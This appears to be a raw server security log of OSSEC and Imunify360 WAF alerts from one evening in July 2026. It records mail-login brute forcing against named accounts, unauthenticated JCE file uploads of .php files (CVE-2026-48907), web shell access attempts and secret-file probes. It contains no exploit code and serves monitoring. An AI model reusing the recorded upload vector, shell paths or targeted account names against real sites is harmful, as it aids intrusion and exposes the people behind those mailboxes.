IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-14 20:26:24 dovecot_login authenticator failed for H=([49.124.146.34]) [182.95.61.82]:45212: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.77.34
country_id: 1668284
description:
2026-07-14 20:27:02 dovecot_login authenticator failed for H=221-120-77-34.emome-ip.hinet.net ([183.171.61.218]) [221.120.77.34]:56886: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-14 20:27:21 dovecot_login authenticator failed for H=([103.250.160.76]) [103.83.23.169]:41646: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.191.91.81
country_id: 3437598
description:
2026-07-14 20:27:23 dovecot_login authenticator failed for H=([182.95.106.102]) [45.191.91.81]:46822: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 182.0.207.154
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce1pqkkdzp.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.126.148.19
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-s-new-premium-4k-ultra-short-throw-projectors-v6000-v7050i HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.240.162
country_id: 1269750
description:
2026-07-14 20:30:45 dovecot_login authenticator failed for H=([183.171.7.171]) [152.52.240.162]:56502: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.56.28.18
country_id: 1168579
description:
2026-07-14 20:31:06 dovecot_login authenticator failed for H=([103.220.16.51]) [210.56.28.18]:40434: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-14 20:31:07 dovecot_login authenticator failed for H=([177.10.182.175]) [183.104.220.195]:48496: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-14 20:39:05 dovecot_login authenticator failed for H=(176-170-1-244.abo.bbox.fr) [62.164.148.87]:50402: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-14 20:39:32 dovecot_login authenticator failed for H=(ipmapt-72-195-114-182.oc.oc.cox.net) [50.217.40.11]:58788: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-14 20:39:43 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com ([192.111.131.4]) [78.66.45.101]:38446: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-14 20:39:46 dovecot_login authenticator failed for H=([196.28.226.125]) [162.251.93.214]:56530: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-14 20:39:55 dovecot_login authenticator failed for H=([192.111.134.12]) [116.72.9.151]:35586: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-14 20:40:24 dovecot_login authenticator failed for H=([184.181.178.35]) [117.250.19.91]:36868: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.239
country_id: 99237
description:
2026-07-14 20:44:00 dovecot_login authenticator failed for H=([62.201.212.54]) [65.20.149.239]:54921: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-14 20:44:12 dovecot_login authenticator failed for H=([45.11.93.131]) [65.20.179.251]:37494: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-14 20:45:34 dovecot_login authenticator failed for H=([125.130.102.172]) [182.95.229.110]:47058: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-14 20:49:14 dovecot_login authenticator failed for H=(mission-web-hosting.com) [182.73.109.194]:36940: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.162.6.183
country_id: 6252001
domain: www.travelinbh.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-14 20:50:12 dovecot_login authenticator failed for H=([196.25.113.220]) [122.169.40.221]:48420: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-14 20:49:47 dovecot_login authenticator failed for H=(132.251.223.60.adsl-pool.sx.cn) [149.34.191.39]:52818: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-14 20:49:52 dovecot_login authenticator failed for H=([174.64.199.87]) [183.104.220.195]:50708: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 115.186.50.135
country_id: 1168579
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://royalxcasinoapk5.pk/\">Royal x casino</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.42.227.251
country_id: 3175395
description:
2026-07-14 20:52:38 dovecot_login authenticator failed for H=93-42-227-251.ip88.fastwebnet.it ([65.20.204.88]) [93.42.227.251]:40330: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-14 20:52:51 dovecot_login authenticator failed for H=(187-50-226-182.customer.tdatabrasil.net.br) [103.171.55.242]:48788: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 23.248.170.199
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/JohnFelix777_1784042663748.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-14 20:55:44 dovecot_login authenticator failed for H=(211-23-194-216.hinet-ip.hinet.net) [27.123.114.190]:46450: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.27.123.101
country_id: 1835841
description:
2026-07-14 20:56:28 dovecot_login authenticator failed for H=([199.102.105.241]) [59.27.123.101]:46612: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a3566.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-14 21:06:17 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([118.187.65.135]) [176.10.203.54]:57414: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-14 21:09:28 dovecot_login authenticator failed for H=([196.189.126.185]) [65.20.217.64]:56106: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-14 21:09:41 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([192.34.128.202]) [111.70.38.54]:60147: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-14 21:16:17 dovecot_login authenticator failed for H=([67.201.33.12]) [101.13.5.39]:48660: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-14 21:16:32 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([98.178.72.4]) [155.4.209.51]:42554: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-07-14 21:16:59 dovecot_login authenticator failed for H=([192.111.138.28]) [222.99.52.202]:47067: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-14 21:21:39 dovecot_login authenticator failed for H=([192.252.208.66]) [122.186.202.58]:37662: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-14 21:22:02 dovecot_login authenticator failed for H=([101.13.5.26]) [1.237.155.150]:54544: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77469916
abuser: 182.0.206.218
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcez6vgd9yx.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-14 21:27:00 dovecot_login authenticator failed for H=(karuna.divineled.com) [122.187.116.110]:37350: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 45.66.153.52
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx44901.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.223
country_id: 1733045
description:
2026-07-14 21:32:24 dovecot_login authenticator failed for H=([49.125.201.2]) [49.124.152.223]:34762: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-14 21:32:53 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([38.148.99.59]) [65.73.230.102]:51860: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-14 21:33:47 dovecot_login authenticator failed for H=(c-174-168-146-152.hsd1.ct.comcast.net) [220.118.190.204]:63039: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-14 21:34:02 dovecot_login authenticator failed for H=([221.167.50.229]) [103.90.27.83]:60198: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-14 21:34:23 dovecot_login authenticator failed for H=(2-55-88-51.orange.net.il) [182.95.181.50]:51626: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-14 21:34:44 dovecot_login authenticator failed for H=([49.124.159.185]) [172.191.74.151]:46332: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-14 21:34:57 dovecot_login authenticator failed for H=([181.54.165.138]) [61.74.224.30]:63640: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77469916
abuser: 103.65.237.55
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx45212.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-14 21:37:06 dovecot_login authenticator failed for H=(187-40-1-41.user.vtal.net.br) [103.156.26.25]:35036: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.247.89.210
country_id: 953987
description:
2026-07-14 21:37:45 dovecot_login authenticator failed for H=([102.110.11.48]) [105.247.89.210]:49316: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.65.237.55
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/nx45212.php7||SC:/home/alnay/public_html/images/nx45212.php7||


plugin: modsec
rule: 77469916
abuser: 103.65.237.55
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx45212.php7||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.124
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.google.com.lb/url?sa=i&url=https%3A%2F%2Fsalestracker.realitytraining.com%2Fnode%2F23600\">SUV performance</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.127.25.126
country_id: 6252001
description:
2026-07-14 21:41:01 dovecot_plain authenticator failed for H=c-73-127-25-126.hsd1.ut.comcast.net (specolic) [73.127.25.126]:36058: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-14 21:45:17 dovecot_login authenticator failed for H=(static.ill.117.247.82.240.bsnl.co.in) [102.211.7.162]:36580: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140958
name: IM360 WAF: Possible Malware (.ico) interaction interface request
abuser: 23.249.17.203
country_id: 1861060
domain: www.alnayza.com
description:
IM360 WAF: Possible Malware (.ico) interaction interface request||MVN:ARGS:c||MV:2376||SC:/home/alnay/public_html/components/com_sppagebuilder/addons/accordion/assets/images/template.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-14 21:49:49 dovecot_login authenticator failed for H=([63.135.169.175]) [65.20.204.88]:47056: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-14 21:50:04 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([110.25.110.135]) [90.230.168.26]:35384: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-14 21:50:09 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([192.252.214.22]) [83.191.181.23]:50194: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-14 21:50:23 dovecot_login authenticator failed for H=([162.253.68.102]) [93.95.241.150]:60081: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-14 21:51:27 dovecot_login authenticator failed for H=([49.124.151.27]) [116.72.9.151]:54950: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-14 21:52:59 dovecot_login authenticator failed for H=([206.220.175.5]) [81.214.75.248]:49134: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-14 21:53:14 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-097.37.23.125.airtelbroadband.in) [94.16.17.139]:42134: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-14 21:52:44 dovecot_login authenticator failed for H=(60-250-63-7.hinet-ip.hinet.net) [65.181.79.60]:54076: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-14 21:53:37 dovecot_plain authenticator failed for H=(nobace) [41.215.125.250]:52910: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-14 21:54:54 dovecot_login authenticator failed for H=(93-122-239-57.orangero.net) [210.206.24.237]:37796: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-14 21:56:28 dovecot_login authenticator failed for H=([83.239.0.202]) [31.171.125.179]:53087: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-14 21:57:45 dovecot_login authenticator failed for H=([184.170.249.69]) [122.187.116.110]:60652: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-14 21:57:56 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net (h-155-4-31-215.A2204.priv.bahnhof.se) [73.203.17.220]:41804: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-14 21:57:24 dovecot_login authenticator failed for H=([72.223.188.66]) [197.242.170.10]:49486: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-14 21:59:09 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com (110-25-112-132.adsl.fetnet.net) [94.255.255.26]:37870: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-14 21:59:40 dovecot_login authenticator failed for H=([184.151.88.27]) [101.13.4.119]:51730: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-14 22:03:04 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [182.95.187.86]:33830: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-14 22:03:26 dovecot_login authenticator failed for H=([182.90.248.108]) [49.158.208.139]:37458: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/cache.php||SC:/home/keralapeople/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-14 22:08:15 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([128.185.33.239]) [64.251.149.81]:43272: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/images/images/images/images/cache.php||SC:/home/keralapeople/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-14 22:07:47 dovecot_login authenticator failed for H=([213.230.65.53]) [31.171.125.179]:47969: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-14 22:09:55 dovecot_login authenticator failed for H=(syn-174-105-015-219.res.spectrum.com) [182.95.189.66]:34104: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-14 22:10:19 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net (nsg-corporate-35.174.186.122.airtel.in) [69.118.232.13]:54444: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 182.0.239.150
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcejb93ba6c.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-14 22:14:17 dovecot_login authenticator failed for H=([98.170.57.251]) [182.72.102.106]:52746: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 206.127.203.87
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 a searchable list of merchants that take Monero (<a href=\"https://xmrlist.com\">xmrlist.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.249.88
country_id: 1269750
description:
2026-07-14 22:17:24 dovecot_login authenticator failed for H=([103.93.37.178]) [122.187.249.88]:40926: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-14 22:17:52 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([60.174.35.18]) [79.136.8.69]:43202: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.43.235.198
country_id: 1835841
description:
2026-07-14 22:20:24 dovecot_login authenticator failed for H=([49.124.152.33]) [118.43.235.198]:48277: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.104.100
country_id: 2077456
description:
2026-07-14 22:20:36 dovecot_login authenticator failed for H=([65.20.251.41]) [220.240.104.100]:34451: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-14 22:25:30 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-14 22:32:52 dovecot_login authenticator failed for H=([47.132.209.110]) [70.91.135.181]:4936: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-14 22:33:09 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net (7.248.146.34.bc.googleusercontent.com) [68.7.114.69]:59446: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-14 22:32:28 dovecot_login authenticator failed for H=([174.64.199.87]) [119.204.60.250]:47333: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-14 22:32:54 dovecot_login authenticator failed for H=([174.64.199.77]) [125.19.163.58]:55224: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 196.115.176.244
country_id: 2542007
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceremb0if6.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 34.124.183.103
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:burka.txt||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.243.188
country_id: 3017382
domain: jaashsupplies.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:104.28.243.188||TA:104.28.243.188||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.243.188
country_id: 3017382
domain: jaashsupplies.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/localhost.key||User:jaashsupplies||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.0.53.77
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6a3565049 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-14 22:46:16 dovecot_login authenticator failed for H=(static-154.102.107.27-tataidc.co.in) [65.191.211.33]:40126: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.111.148.83
country_id: 1835841
description:
2026-07-14 22:46:32 dovecot_login authenticator failed for H=([101.13.6.86]) [222.111.148.83]:36260: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-14 22:47:20 dovecot_login authenticator failed for H=([49.124.152.34]) [122.176.21.104]:52762: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
